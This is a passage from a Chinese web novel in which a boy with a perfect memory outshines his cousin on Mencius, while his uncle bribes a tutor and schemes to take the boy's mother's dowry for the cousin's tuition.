整个饭桌上,唯有一人,神情自若。 那便是陆从文。 他重新坐下,黝黑的脸上看不出什么表情。 因为他知道,自己的儿子,真的不一样了。 今天他在田地里考教过,陆明渊真的能过目不忘! 一天背完《孟子》,那是神仙才有的手段! 他儿子肯定是文曲星下凡! 得到了奶奶和母亲的示意,陆明文放下了筷子,慢条斯理地用帕子擦了擦嘴。 他站起身,十三岁的少年,身形已经抽长,穿着一身簇新的青布长衫,颇有几分读书人的架子。 他走到堂屋中央,微微扬起下巴,带着一种居高临下的审视,看着比他矮上一个头的陆明渊。 “堂弟。” 他开口,声音带着少年人特有的清亮,却又刻意压着几分沉稳,模仿着县学夫子的腔调。 “既然你如此自信,说已将《孟子》尽数背完。那我便考考你。” 他踱了两步,做出沉吟的模样,道:“我便借着前几日,陈夫子在学里考教我的一个问题,来考教考教你。” “《孟子·告子上》,有言:‘生亦我所欲也,义亦我所欲也;二者不可得兼,舍生而取义者也。’ 夫子问,何为‘义’?为何‘生’与‘义’不可得兼之时,必舍生而取义?请堂弟,为我等解惑!” 话音落下,满室皆静。 赵氏和陆从智脸上露出了得意的笑容。 这个问题,哪里是考背诵? 分明是在考校经义! 这已经不是一个十岁蒙童能回答的问题了,便是许多读了几年书的学子,也未必能说明白其中深意。 陆明文这是存心要让陆明渊在众人面前,哑口无言,下不来台! 所有人的目光,都聚焦在了那个小小的身影上。 第011章 终究是根基不稳,错漏百出 陆明渊没有直接回答,而是反问了一句。 声音不大,却清晰地传入了堂屋里每一个人的耳中。 “堂哥在县学里,陈夫子可曾教过,何为‘孝’?” 陆明文一愣,没想到他会问出这么一个风马牛不相及的问题,下意识地挺直了胸膛,傲然道:“孝者,善事父母也。此乃蒙学便教的道理,何须夫子多言?” “说得好。” 陆明渊点了点头,继续询问道:“那敢问堂哥,若父母将亡,需以己身为药引方能救治,此时,是‘孝’大,还是‘生’大?” 陆明文的脸色瞬间变了,这个问题太过刁钻,也太过极端。 他张了张嘴,却发现无论回答哪个,似乎都有悖圣人教诲。 不等他想出说辞,陆明渊的声音再次响起,不疾不徐,仿佛在讲述一个再简单不过的道理。 “‘生’,是人之本能,如草木向阳,如飞鸟归林。但人之所以为人,而非草木禽兽,便在于除却本能之外,心中尚存有比‘生’更重之物。” “于我而言,父亲为我父,母亲为我母,他们予我性命,予我衣食。若有朝一日,需我舍生以全孝道,那‘孝’,便比‘生’更重。” “于将士而言,家国在后,百姓在后。若有朝一日,需他舍生以卫家国,那‘忠’,便比‘生’更重。” “于读书人而言,心中道理,人间公义,千古传承。若有朝一日,需我辈舍生以存大道,那‘义’,便比‘生’更重。” 他的声音顿了顿,目光扫过满脸震惊的众人,最后落回到陆明文那张已经有些发白的脸上。 “故而,‘义’,并非虚无缥缈之物。它是孝,是忠,是读书人安身立命的道理,是这天地间应该长存的公道。” “当这公道与一己之私欲性命相冲突时,舍生,方能取义。这,便是我对夫子之问的解惑。” “堂哥,以为然否?” 一席话说完,整个堂屋落针可闻。 三婶赵氏和三叔陆从智,脸上的笑容顿时僵硬了。 老太太陈氏那双浑浊的眼睛里,第一次没有了怒火,取而代之的是一种难以置信的精光。 她死死地盯着自己的这个孙子。 他们陆家,真的要出两个读书种子? 不……陆明渊,似乎比陆明文,更像一块读书的料! 王氏的眼泪,终于忍不住夺眶而出。 她用手背死死捂住嘴,不让自己哭出声来,可那泪水却像断了线的珠子,滚滚而下。 她的儿子,她的渊儿,没有骗她! 他不仅背下了书,他还懂! 他以后也是读书人了,她以后回娘家,也能挺直脊梁了! 陆明文的脸,青一阵,白一阵,精彩至极。 他本想用经义难题来羞辱对方,却不料反被对方上了一课。 这番道理,说得深入浅出,连他自己听了都觉得心中豁然开朗,竟是半个字都反驳不出来。 强烈的嫉妒与不甘,像毒蛇一样啃噬着他的内心。 “说得好听!” 他冷哼一声,强行挽尊。 “经义不过是些空谈,背诵才是根基!你既说看完了《孟子》,我便考你几段偏的!” “《滕文公下》,‘公孙丑问曰’一篇,你且背来!” 这是《孟子》中极为生僻的一章,寻常学子都未必能通篇背诵。 然而,陆明渊只是略一思索,便朗声背诵起来。 “公孙丑问曰:‘不见诸侯,何义?’孟子曰:‘古者不为臣不见。段干木……” 他的声音清朗,吐字清晰,节奏平稳,没有一丝一毫的磕绊。 洋洋洒洒数百言,竟如行云流水般一气呵成,听得众人目瞪口呆。 陆明文的脸色愈发难看,额头已经渗出了细密的汗珠。 他不信邪,又接连考了《离娄上》、《尽心下》中的几段冷僻文章。 无一例外,陆明渊对答如流,甚至连语气助词都分毫不差。 堂屋内的气氛,从最初的压抑讥讽,变成了此刻的死寂与震撼。 陆从智夹着菜的筷子停在半空,嘴巴张得能塞下一个鸡蛋。 赵氏那张刻薄的脸上,也只剩下了呆滞。 陆明文的心,一点点沉了下去。 他知道,在背诵上,他已经输了,输得一败涂地。 可他不能认! 他要是认了,以后在家里还如何抬得起头? “背得倒是熟练。” 他强撑着说道,声音里带着一丝不易察觉的颤抖。 “可你当真理解其中含义?” “我再问你,《尽心上》有云:‘存其心,养其性,所以事天也。” “何为存心?何为养性?又如何事天?” 这已是《孟子》中最为精深玄妙的义理之一,连县学的陈夫子,也只是让他们记下,并未深入讲解。 他就不信,陆明渊这都能懂! 陆明渊看了他一眼,那眼神平静无波,却让陆明文莫名地感到一阵心慌。 “‘存心’者,存良心,存本心也。” “‘养性’者,养善性,养天性也。” “人有善性,如水就下,此乃天命。不使其被外物蒙蔽,便是‘存’与‘养’的功夫。” “至于‘事天’,顺应本心善性,尽自己的人事,便是顺应天命,这便是‘事天’。” 一番话,简明扼要,直指核心。 陆明渊说完,微微一笑。 “堂哥,我背的、解的,可都对?” 陆明文彻底懵了。 对吗? 他不知道! 夫子没讲过这么深,他自己更是看得云里雾里,哪里分得清对错? 可此时此刻,在所有人的注视下,他能说不对吗? 他能说自己不知道吗? 那张读书人的脸面,让他无论如何也说不出那句话。 他只能硬着头皮,从牙缝里挤出几个字。 “嗯……对,就是如此。” 话音刚落,陆明渊却忽然“呀”了一声,带着几分懊恼拍了拍自己的脑门。 “瞧我这记性!刚刚背《滕文公下》时,竟漏了一句!” 他清了清嗓子,重新念道。 “……段干木踰垣而辟之,泄柳闭门而不内,是皆已甚。迫,斯可以见矣。” “我刚刚背到‘不为臣不见’,直接跳到了‘段干木’。 中间这句‘古者不为臣不见’,竟是说重了。” 他一脸歉意地看着陆明文,真诚地说道:“看来只看一天,终究是根基不稳,错漏百出。” “明文哥苦读十年,学问扎实,想必是一时太过劳累,竟也没注意到小弟的错处。是小弟的不是。” “噗——” 陆明文只觉得一股热血直冲头顶,眼前阵阵发黑,喉头一甜,险些喷出一口血来。 羞辱! 这是赤裸裸的羞辱! 什么叫“你也竟没注意到”? 这分明是在说他学艺不精,名不副实! 他感觉全家人的目光都像一根根钢针,扎在他的背上,让他无地自容。 “我……我文章还没温习完,先回房了!” 他再也待不下去,几乎是逃也似的,狼狈地冲出了堂屋。 “明文!明文!” 赵氏尖叫一声,也顾不上吃饭了。 她猛地站起身,一双淬了毒的眼睛死死瞪着陆明渊,尖酸刻薄地骂道:“你个小畜生!你安的什么心?你是故意让你堂哥下不来台,好显得你自个儿能耐是吧?我们陆家怎么就出了你这么个心思歹毒的孽障!” 陆明渊却连眼皮都没抬一下,只是平静地回道:“三婶说笑了。这么多文章,圣人也有错漏,我才看了一天,漏了一句半句,再正常不过。明文哥寒窗苦读近十年,尚有疏忽之时,我一个蒙童,记错了岂非理所应当?” 第012章 这二十两银子,本就该是明文的 一句话,噎得赵氏半天说不出话来。 是啊,连你儿子都没听出来,你还有脸怪别人记错了? “你……你……” 赵氏气得浑身发抖,指着陆明渊“你”了半天,最终只能一跺脚,恨恨地追着儿子去了。 陆从智尴尬地坐在原地,走也不是,留也不是,最后讪讪地放下筷子,也找了个借口溜了。 一场剑拔弩张的家宴,终于以闹剧收场。 堂屋里恢复了安静,只剩下大房一家四口,和沉默不语的老太太陈氏。 陆明渊仿佛什么都没发生过,神情淡定地拿起汤勺。 他从那碗几乎没怎么动的鸡汤里,舀起一块最肥美的鸡腿肉,恭恭敬敬地放进老太太碗里。 “奶奶,您消消气,喝口汤。” 随后,他又给父亲陆从文,母亲王氏各舀了一勺带着肉的鸡汤。 陆从文黝黑的脸上,憨厚的笑容几乎咧到了耳根,他看着自己的儿子,眼里是前所未有的光彩和骄傲。 王氏则一边抹着眼泪,一边笑着,那笑容里,有欣慰,有激动,更有扬眉吐气的畅快。 接着,陆明渊又给三岁的弟弟陆明泽夹了一块小小的鸡翅。 小明泽乖巧地说了声“谢谢哥哥”,便埋头欢快地啃了起来。 沉默许久,老太太叹息一声。 她沉默了许久,久到王氏和陆从文的心又一次提到了嗓子眼。 终于,那只油光水滑的鸡腿,被一双苍老却有力的手,缓缓推回了陆明渊的碗前。 “心意,奶奶收到了。” 陈氏的声音有些沙哑,却透着一股不容置疑的威严。 “你懂得孝敬长辈,这是读书人最要紧的本分。奶奶没白疼你。” 她顿了顿,枯瘦的手指轻轻点了点那只鸡腿。 “可奶奶年纪大了,肠胃不好,吃不得这般油腻的东西。” “倒是你,正是长身体、费脑子的时候,合该多补补。” 陆明渊抬起头,没有推辞,只是点了点头,轻声道:“谢奶奶。” 他知道,这块鸡肉,如今已不止是食物。 它是一种认可,是这个家中权力更迭的无声宣告。 陈氏满意地嗯了一声,缓缓站起身,身上的气势仿佛比往日里高了几分。 她环视了一圈,目光最终落在陆明渊身上:“既然开了窍,成了读书的种子,那地里的活,以后就别沾手了。家里的事,有你爹,有你娘,还有我这把老骨头。你的事,就一桩——读书!” “这几天,你就在家里把看过的书再温习温习。等过了这阵子,我让你爹带你去县里,进私塾,正经地拜个先生!” 说完,她不再看大房一家人激动得快要溢出来的神情,转身,佝偻着背,一步步朝门外走去。 老太太一边儿走一边儿念叨着:“我去看看明文那孩子,别是气急攻心,读坏了身子……” 老人家的身影消失在门外,那股无形的压力也随之散去。 “啪!” 陆从文一巴掌拍在自己的大腿上,他压低了声音,却掩不住那份发自肺腑的狂喜:“出息了!我儿出息了!哈哈哈!” 他激动地将自己碗里仅有的几块肉,一股脑地全夹给了陆明渊,嘴里不停地念叨着:“多吃点!爹不饿!” 王氏的眼泪再一次决堤,这一次,却是喜悦的泪,是扬眉吐气的泪。 她也学着丈夫的样子,将碗里的鸡肉挑出来,小心翼翼地放进儿子的碗里,哽咽着说:“渊儿,娘的好孩子……以后,让你外公家那些人也好好看看,我王氏的儿子,比谁家的都强!” 她仿佛已经看到,自己有朝一日能挺直腰杆,带着金榜题名的儿子,回到那个将她逐出家门的王家大院。 陆明渊看着碗里堆成小山的鸡肉,心中微暖。 他没有再分给父母,因为他知道,此刻,看着他吃,就是对他们最好的慰藉。 他将那只最大的鸡腿夹起,放到了弟弟陆明泽的碗里。 三岁的小明泽,正抱着自己的小鸡翅啃得满嘴是油。 看到碗里又多了一只大鸡腿,黑葡萄似的大眼睛顿时亮了。 他看看鸡腿,又看看哥哥,毫不犹豫地将自己左手啃了一半的鸡翅换成了大鸡腿,右手则依旧紧紧攥着奶奶给的那只。 两只小手,各拿一个鸡腿,脸颊吃得鼓鼓囊囊,像只囤食的小松鼠。 他含糊不清地冲着陆明渊举起右手那只还没动的鸡腿,奶声奶气,却无比认真地说道。 “哥哥,七(吃)!” 憨态可掬的模样,让满屋的喜悦,又添了几分纯粹的温馨。 …… 与东厢房的暖意融融不同,西厢房内,空气冷得像冰。 陆明文将自己关在房里,听着隔壁隐约传来的笑声,一张脸阴沉得能滴出水来。 桌上的书本被他烦躁地推到一旁,砚台里的墨汁溅出几滴,在书页上留下丑陋的墨点,正如他此刻的心情。 “砰”的一声,门被推开。 赵氏端着一碗没动过的鸡汤走进来,看到儿子失魂落魄的样子,心疼得无以复加。 她将碗重重地放在桌上,咬牙切齿地骂道:“那个小畜生!真是歹毒的心肠!明文,你别往心里去,他就是走了狗屎运,瞎猫碰上死耗子!” 陆从智跟在后面,一脸的愁容,搓着手不知该说什么。 “娘,没用的。” 陆明文抬起头,双眼通红,声音里带着一丝绝望。 “今天这事一出,奶奶的心,已经偏到他那边去了。” 他深吸一口气,说出了今晚回家的真正目的。 “爹,娘,我这次回来,是想跟家里商量一件事。” “县学的陈夫子说,高家庄的高老爷,那位乙卯科的举人,今年开了府学,亲自授课。” “凡是能进他府学的,不说十拿九稳,考中秀才的把握也能大上三成!” “只是……那束脩,要二十两银子。” 二十两银子! 这个数字让陆从智和赵氏都倒吸了一口凉气。 这几乎是他们这个家刨去吃喝,两三年的全部进项! 陆明文脸上露出一丝苦涩。 “我本想着,我是家里唯一的读书人,全家供我一个。” “这二十两银子,爹娘和奶奶咬咬牙,大伯、婶娘那边再出出力,总能凑出来。” “可现在……现在陆明渊那小子突然冒了出来,奶奶还亲口说要送他去私塾……” “这笔钱,家里断然不会再为我出了!” 赵氏一听,顿时急了,一拍大腿。 “那怎么成!我儿的前程,怎么能被那个小杂种给耽误了!不行,我这就找老太太理论去!” “你给我站住!” 一直沉默的陆从智,此刻却突然低喝一声,拦住了妻子。 他那双总是显得有些懦弱的眼睛里,此刻却闪烁着一丝精明的光。 他来回踱了两步,眼珠子骨碌碌一转,猛地停下脚步,压低了声音:“哭闹有什么用?老太太现在正在兴头上,你去不是自讨没趣吗?” “那怎么办?就眼睁睁看着我儿的前程被毁了?”赵氏不甘心地叫道。 陆从智眼神阴鸷地看了一眼东厢房的方向:“放心,儿子,你只管安心温书,这二十两银子,爹给你凑!” “你哪来的钱?”赵氏狐疑地看着他。 陆从智没有直接回答,只是凑到妻子和儿子耳边,用只有三个人能听到的声音,阴恻恻地说道。 “你忘了?大嫂嫁过来的时候,可是带着一箱子嫁妆的。” “这些年她零零散散当了一些,可我听说,那箱底,还压着几件最值钱的宝贝呢……” “这二十两银子,本就该是明文的!” …… 第013章 老二家的算计 赵氏被丈夫这副陌生的模样震慑住了,一时间竟忘了言语。 她狐疑地上下打量着陆从智。 “你……你莫不是疯了?” 她压低了声音,话里带着一丝颤抖。 “大嫂那箱子,是她的命根子,老太太也盯着呢。我们怎么动得了?” “我何时说过要硬抢?” 陆从智冷哼一声,眼中的精光愈发锐利。 “这世上的事,硬抢是下策,让人心甘情愿地掏出来,才是上策。” 他缓缓转过身,脸上浮现出一抹智珠在握的诡异笑容。 “你只管把心放在肚子里,明日看我行事便可。明文的前程,断然耽误不了!” …… 次日,天光微熹。 农家的院子里,炊烟与晨雾还未散尽,便已有了声响。 东厢房的王氏已经起身,悄无声息地做着家务,生怕扰了正在温书的儿子。 而陆明渊,早已坐在窗前,借着东方泛起的第一缕鱼肚白,翻开了那本《论语》。 与这份宁静截然相反,西厢房却是一阵悉悉索索的忙碌。 陆从智破天荒地起了个大早,将家里攒下的十几个鸡蛋用干草仔细包好,又拿上赵氏熬了几个通宵才织好的一匹布,用包袱裹了,便要出门。 “你这是去赶集?” 正从屋里出来的陈氏,看见二儿子这副模样,不由得开口问道。 “是啊,娘。” 陆从智脸上立刻堆起了惯有的谦卑笑容。 “家里没几个钱了,我寻思着去县里把这些东西换了,给明文添几支笔,买两刀纸。” 陈氏点了点头,老二虽然平日里有些小心思,但对明文这个儿子,倒是真上心。 “路上小心些,早去早回。” 她叮嘱了一句,便不再多言。 陆从智应诺着,步履匆匆地走出了院门,到了县城,他没有去人声鼎沸的集市,而是直接在县城口找了个不起眼的角落,将布匹和鸡蛋摆开。 旁人卖八十文一匹的布,他吆喝七十五文。 旁人卖三文一个的鸡蛋,他五个只卖十四文。 如此贱卖,自然很快就吸引了贪便宜的妇人,不到半个时辰,东西便已售罄。 他将沉甸甸的铜钱揣进怀里,又小心翼翼地从贴身的口袋里摸出三块用手帕包得整整齐齐的散碎银子。 他没有丝毫停留,径直穿过几条街巷,来到了一处挂着“青松书院”牌匾的私塾门前。 这里便是陆明文就读的地方。 陆从智整理了一下身上那件浆洗得发白的衣衫,深吸一口气,脸上换上了一副近乎谄媚的笑容,走了进去。 私塾的陈夫子是个年近五旬的山羊胡老者,一身半旧不旧的儒衫,正摇头晃脑地品着一杯粗茶。 见到陆从智,他眼皮都未曾抬一下,只从鼻子里“嗯”了一声。 “陈夫子安好。” 陆从智恭敬地躬身行礼,随后从怀里掏出那个手帕包,双手奉上,谄笑着说道:“小子陆从智,是明文的父亲。这是小子的一点心意,孝敬夫子您买茶喝的。” 陈夫子瞥了一眼那手帕里露出的银角,浑浊的眼睛里终于有了一丝光亮。 二两银子,对他这个穷酸秀才而言,可不是一笔小数目。 他慢条斯理地将银子收进袖中,这才抬眼看向陆从智,语气也缓和了几分。 “是明文的父亲啊,坐。不知你今日前来,所为何事?” “不瞒夫子说,”陆从智搓着手,脸上堆满了讨好的笑:“我家明文,自小便痴心向学,我们做父母的,也是砸锅卖铁地供着。” “这孩子也还算争气,听他说,这些年多亏了夫子您的悉心教导,学问大有长进。” 陈夫子抚着山羊胡,不置可否地点了点头。 陆从智见状,连忙趁热打铁,将身体微微前倾,声音压得更低了。 “夫子,小子有个不情之请。您也知道,我们乡下人家,见识浅薄。” “我那老娘,总觉得读书无用。小子斗胆,想请夫子您屈尊,明日到我们陆家村走一趟……” 他顿了顿,见陈夫子面露不悦,赶紧说道:“您只需当着我那老娘的面,夸一夸明文,就说……就说他天资聪颖,读书用功,此次县试不说十拿九稳,便是将来的府试,也大有可为!” 陈夫子听到这里,哪还有不明白的。 这不过是为人父母的,想在家族里为儿子争些脸面,好让家里人更尽心地出钱供读罢了。 这种事,他见得多了。 收人钱财,替人消灾。 几句好话而已,又不费什么力气。 “嗯,明文这孩子,平日里确实刻苦。”陈夫子呷了口茶,慢悠悠地说道:“既然你这般有心,明日午后,老夫便抽空过去走一趟。” “哎哟!多谢夫子!多谢夫子!” 陆从智大喜过望,连连作揖,那腰弯得几乎要折断了。 事情办妥,他只觉得浑身都充满了力气,连脚步都轻快了几分。 带着卖货剩下的五百多文铜钱,他神情亢奋地返回了陆家村。 一进西厢房的门,赵氏便迎了上来,一把抓过他手里的钱袋,往桌上一倒,一数,脸色顿时就变了。 “怎么才五百文?” 她尖声叫道,满脸的不可思议。 “我那些布,就算比不上大嫂的手艺,卖个七八百文总是成的,怎么会这么少?” 陆从智却是一脸的得意,他反手将门关上,凑到妻子耳边。 他将自己如何贱卖货物,又如何用二两银子请动陈夫子的计划,一五一十地说了出来。 赵氏脸上的怒气和疑虑,随着他的讲述,一点点褪去,取而代之的是一种近乎疯狂的兴奋。 “当家的,你……你可真是我的好当家的!” 她激动得声音都变了调,一把抓住陆从智的胳膊。 “这么说,明文那二十两束脩,稳了?” “何止是稳了!” 陆从智压低声音,一字一顿地说道:“明日陈夫子一来,老太太一高兴,别说是二十两,便是三十两,她也得心甘情愿地从大房那箱底里给咱们掏出来!” 夫妻二人相视一笑,那笑容里,满是即将得逞的快意与阴谋。 晚饭时,陈氏看着桌上依旧寡淡的菜色,随口问了一句。 “老二家的,从智今天去县里,换了多少钱回来?” 赵氏正给陆明文夹菜,闻言头也不抬地回道。 “娘,就五百来文,如今这行情,什么都不值钱。” 老太太“哦”了一声,没再多问。 正小口吃着饭的陆明渊,执筷的手微微一顿。 他抬起头,清澈的目光扫过西厢房那对夫妻脸上掩饰不住的兴奋。 五百文…… 难不成是二伯母的手艺出了问题? 虽然比不上母亲绣出的布匹精细,每次出去卖上八百文总归是不成问题。 事出反常必有妖,陆明渊觉得二叔家里肯定谋划着什么! 陆明渊的眉头,几不可察地轻轻皱了起来。 第014章 您那份嫁妆,是不是也该拿出来 次日午后,日头正烈,蝉鸣聒噪。 陆家小院的柴门,竟真的被人“吱呀”一声推开了。 一个身穿半旧儒衫,留着一撮山羊胡的老者,手持一把折扇,施施然走了进来。 他站在院中,眯着眼打量了一下这农家院落,脸上带着几分读书人特有的矜持与疏离。 正在东厢房窗下陪着陆明渊温书的王氏最先看到,连忙起身迎了出去。 “请问老先生是……” “老夫陈远,青松书院的夫子。” 老者用扇子指了指西厢房的方向。 “来寻我的学生,陆明文。” 话音未落,西厢房的门“豁”地一下开了。 陆从智夫妇二人满面春风地冲了出来,那热情劲儿,仿佛迎接的是什么天大的贵客。 “哎呀!是陈夫子!您怎么来了?快请进,快请进!” 陆从智抢上一步,几乎是搀扶着将陈夫子往屋里让。 这边的动静,早已惊动了堂屋里的老太太陈氏。 她拄着拐杖,颤巍巍地走出来,一见这阵仗,先是愣了一下,随即脸上便绽开了菊花般的笑容。 “是明文的夫子?哎哟,稀客,真是稀客!” 陈夫子倒也客气,对着老太太拱了拱手,笑道:“老夫人安好。老夫今日回乡探亲,恰好路过贵村,想着明文这孩子平日里用功,便顺道过来瞧瞧他。” 一句“顺道”,便将昨日那二两银子的交易,洗刷得干干净净,只剩下师长对学生的殷切关怀。 老太太陈氏一听这话,更是喜上眉梢,浑浊的眼睛里都放着光。 在她看来,夫子能亲自上门探望,这可是天大的脸面! “老婆子我见过读书人,可没见过夫子您这么疼学生的!” 她激动得拐杖都有些拿不稳。 “快,快,从文家的,去,把那只芦花鸡杀了!今日定要好好招待夫子!” 王氏闻言,脸上闪过一丝犹豫。 那只鸡是留着给明渊秋闱前补身子的。 但老太太开了口,她一个做儿媳的,哪敢说半个不字,只得低声应了,转身进了厨房。 很快,酒菜很快备好,虽不丰盛,却已是陆家能拿出的最高规格。 席间,陈夫子果然不负陆从智所望,三杯两盏淡酒下肚,便开始对陆明文大加赞赏。 “老夫人,你这个孙儿,了不得啊!” 陈夫子抚着山羊胡,一脸的郑重其事。 “老夫执教二十余年,见过聪颖的,见过刻苦的,却少见像明文这般,既有天分,又肯下苦功的。” 他呷了口酒,眼神扫过众人,最后落在老太太那张写满期盼的脸上。 “不瞒您说,此次县试,依老夫看,明文是十拿九稳!” “若是他能继续保持这股劲头,将来金榜题名不敢说,一个秀才功名,怕也是八九不离十!” “轰”的一声,仿佛一道惊雷在老太太陈氏的脑中炸开。 秀才! 他们家明文居然有秀才之姿! 他们陆家没落至此几十年,若是能出一个秀才,那便是光宗耀祖了! 老太太激动得嘴唇哆嗦,端着酒杯的手都在颤抖,连声道。 “好,好!多谢夫子吉言!多谢夫子栽培!” 陆从智和赵氏在一旁,也是满脸红光,与有荣焉的模样,不停地给夫子敬酒夹菜。 一场宾主尽欢的宴席,在黄昏时分落下帷幕。 老太太坚持让陆从智将陈夫子送出村口,那份恭敬与感激,溢于言表。 待到外人离去,陆家的堂屋里,气氛却并未因喜悦而轻松下来,反而凝滞着一种更为灼热的焦躁。 老太太陈氏依旧沉浸在对未来的美好幻想中,嘴里不停地念叨着“秀才公”,“祖坟冒青烟了”。 陆从智看准时机,清了清嗓子,脸上那副得意的笑容渐渐敛去,换上了一副深思熟虑的凝重。 “娘,”他开口了,声音不大,却瞬间将所有人的注意力都吸引了过来。 “陈夫子的话,您听见了?” “听见了,听见了!” 老太太连连点头。 “我活了这把年纪,耳朵还没聋!” “那您听出什么来了?” 陆从智循循善诱。 “听出我大孙子有出息了!能考秀才了!” “是啊,” 陆从智重重地点了点头,随即话锋一转,语气里带上了一丝恰到好处的忧虑。 “可您想过没有,陈夫子为何只敢说明文府试八九不离十,却不敢说金榜题名?” 老太太一愣:“这……读书的事,谁敢说得那么满?” “非也!” 陆从智断然否定:“娘,您想,陈夫子自己是个什么功名?” “秀才啊。” “这就对了!” 陆从智一拍大腿,声音陡然拔高。 “他自己不过是个秀才,眼界见识就只在府试这一亩三分地里。” “他能教出府试的学生,已是极限,又怎敢妄言更高处的风景?” “跟着他,明文的前程,也就止步于府试了!” 这番话,如同一盆冷水,兜头浇在了老太太火热的心上。 她脸上的笑容僵住了,有些茫然地看着自己的二儿子。 陆从智要的就是这个效果。 他上前一步,压低了声音。 “娘,这正是天要兴我陆家!我今日去县里,听到了一个天大的好消息!” “城里有名的大户高家,新开了一间府学,请来的先生,不是秀才,而是真正的举人老爷!” “举人老爷?” 老太太倒吸一口凉气。 对她这样的乡下妇人而言,举人,那已经是传说中的大人物了。 “没错!举人老爷亲自授课!” 陆从智的眼中闪烁着狂热的光芒。 “您想,跟着秀才,能考秀才。那跟着举人老爷,将来考个举人,又有何难?” “明文天资聪颖,只是缺一个好平台,缺一位好名师!这高家府学,就是为他量身打造的登天之梯啊!” “只要明文能进去,别说秀才,将来入仕做官,光宗耀祖,指日可待!” 一番话,说得是情真意切,掷地有声。 老太太被这番宏伟的蓝图彻底唬住了,她仿佛已经看到了自己的孙儿身穿官袍,荣归故里的景象。 她那颗苍老的心,被一种名为“望孙成龙”的火焰烧得滚烫。 “去!必须去!” 她猛地一拍桌子,拐杖顿地。 “砸锅卖铁,也要让明文去!这束脩……要多少银子?” “二十两。” 陆从智吐出一个数字。 老太太眉头都没皱一下,立刻说道:“好!二十两就二十两!从文,从智,你们两家,一家出十两,无论如何,要把明文送进去!” 一直沉默的陆从文,听到这话,脸色瞬间变得煞白。 十两银子,对他这个老实巴交的庄稼人来说,无异于天文数字。 而陆从智,等的就是这一刻。 他“噗通”一声,竟直接跪在了老太太面前,脸上满是凄苦和愧疚。 “娘啊!是儿子没用!” 他声泪俱下。 “这些年,为了供明文读书,家里早已是东挪西凑,家徒四壁。” “儿子拼了命的挪用,也就能凑出来五两银子啊!” 一旁的赵氏也立刻抹起了眼泪,哭诉道:“是啊,娘!我们两口子,没日没夜地干,也就勉强糊口,哪里还有余钱……” 老太太看着二儿子这副模样,心疼不已,叹了口气。 “你……你也是为了明文……” 她的目光,缓缓地,落在了大儿子陆从文的身上。 陆从文嘴唇动了动,刚想说话,他身旁的妻子王氏却忍不住了。 “娘,” 王氏站起身,声音不大,却带着一丝颤抖的坚定。 “我们大房……也拿不出这么多钱。明渊读书也要花销,家里一年到头,刨去吃穿用度,剩不下几个子儿。” “怎么会没有?” 赵氏立刻尖声反驳,眼泪说收就收。 “谁不知道大嫂你当年嫁过来的时候,可是带了不少嫁妆!那箱子,现在还压在你们床底下呢!” 陆从智抬起头,脸上还挂着泪痕,眼中却闪过一丝得逞的精光。 他顺着妻子的话,幽幽地开口。 “大哥,大嫂。为了明文的前程,为了我们陆家的将来,大嫂……您那份嫁妆,是不是也该拿出来了?” 第015章 你怎么就那么软 话语里没有半分商量的余地,而是理所当然的索取。 仿佛那箱子里的东西,本就该是陆家的公产。 王氏的脸“唰”地一下白了。 她下意识地护住身旁的陆明渊。 箱子里的银钱和首饰,是她最后的底气,是她为自己儿子铺就的唯一退路。 是明渊将来读书、应考、乃至安身立命的根本。 那是她的命,也是她儿子的命。 “不行!” 她脱口而出,声音带着一丝决绝! “那是……那是给我家明渊留的。” “大嫂这话说的,明渊才多大?还早着呢。可咱们明文,眼看就要一飞冲天了!” “这节骨眼上,难道要因为区区十几两银子,断送了我陆家的麒麟儿?” “什么叫区区十几两?” 王氏气得浑身发抖,“那是我爹娘……” “够了!” 一声沉闷的低喝打断了她的话。 不是老太太,而是始终沉默如石的陆从文。 他看着自己的妻子,又看看跪在地上“情真意切”的弟弟。 嘴唇嗫嚅了半天,却像被什么东西堵住了喉咙,一个字也说不出来。 陆从智看准了大哥的软肋,他重重地对着陆从文磕了一个头,额头撞在青石板上,发出“咚”的一声闷响。 “大哥!你难道忘了爹临终前的嘱托了吗?” 这一句话,仿佛一道无形的枷锁,瞬间铐住了陆从文所有的反抗。 陆从文的身子猛地一颤,眼神黯淡了下去。 父亲的遗言,是孝道的天堑,他迈不过去。 “大哥,我知道你疼明渊,可明文也是你的亲侄儿啊!” 陆从智趁热打铁:“这些年,为了供他读书,我砸锅卖铁,脸都不要了,四处求人。” “如今,登天的梯子就在眼前,一步,就差这一步了!难道我们要眼睁睁看着他摔下来吗?看着我们陆家,再沉沦几十年?” 他转过头,望向一直站在他身后的陆明文,厉声道:“明文,给你大伯、大娘跪下!告诉他们,你将来若是有出息,要怎么报答他们!” 陆明文早已得了父亲的眼色,闻言没有丝毫犹豫,“噗通”一声跪在了陆从文和王氏面前。 “大伯,大娘!侄儿在此立誓!今日若能得大伯大娘相助,入高家府学,他日若能金榜题名,定不忘大伯一家恩情!” “侄儿的荣华,便是大伯的富贵!我陆家门楣,必由我陆明文光复!” 这番话,彻底击溃了老太太心中最后一丝犹豫。 她仿佛已经看到了那金灿灿的功名牌匾,看到了满屋的绫罗绸缎,看到了子孙满堂、光宗耀祖的盛景。 而实现这一切的代价,不过是大房媳妇的一箱嫁妆罢了。 孰轻孰重,在她心中,早已是一杆倾斜得不能再倾斜的秤。 “好了!” 老太太用拐杖重重一顿地:“就这么定了!老大,你家出十五两!老二家……也不容易,就出五两。凑足二十两,明早就让你弟弟带着明文去报名!” 十五两对五两。 这数字像两记响亮的耳光,狠狠地抽在王氏和陆明渊的脸上。 王氏的嘴唇被自己咬出了血,一丝腥甜在口中蔓延。 她绝望地看着自己的丈夫,可陆从文却垂着头,看着地面。 那宽厚的肩膀,此刻却塌了下去,像一头被抽了筋骨的老牛,再也使不出力气。 希望,彻底破灭了。 角落里,一直被当做空气的陆明渊,自始至终没有说一句话。 他的目光平静地掠过喜形于色的祖母,掠过如释重负的二叔,掠过意气风发的陆明文,最后落在那盏昏暗的油灯上。 灯火摇曳,将人的影子在墙上拉扯得扭曲变形,魑魅魍魉,不过如此。 他觉得不对劲。 这一切都太巧了。 巧得像一出早已排演好的戏。 陈夫子为何偏偏在二叔去过县城后的第二天,“顺道”而来? 一个书院的夫子,平日里矜贵得很,怎会无缘无故为一个普通农家子弟,屈尊纡贵到这种地步? 那番“秀才之姿”的吹捧,与其说是评价,不如说是一味早已配好的猛药,精准地投喂给了祖母。 然后,二叔再顺理成章地抛出“举人老爷”的府学,用一个更大的饼,将所有人的理智都砸得粉碎。 一个唱红脸,一个唱白脸。 一个负责点火,一个负责浇油。 二叔昨日去县城,恐怕根本不是去打探什么消息,而是直接去找了这个陈夫子。 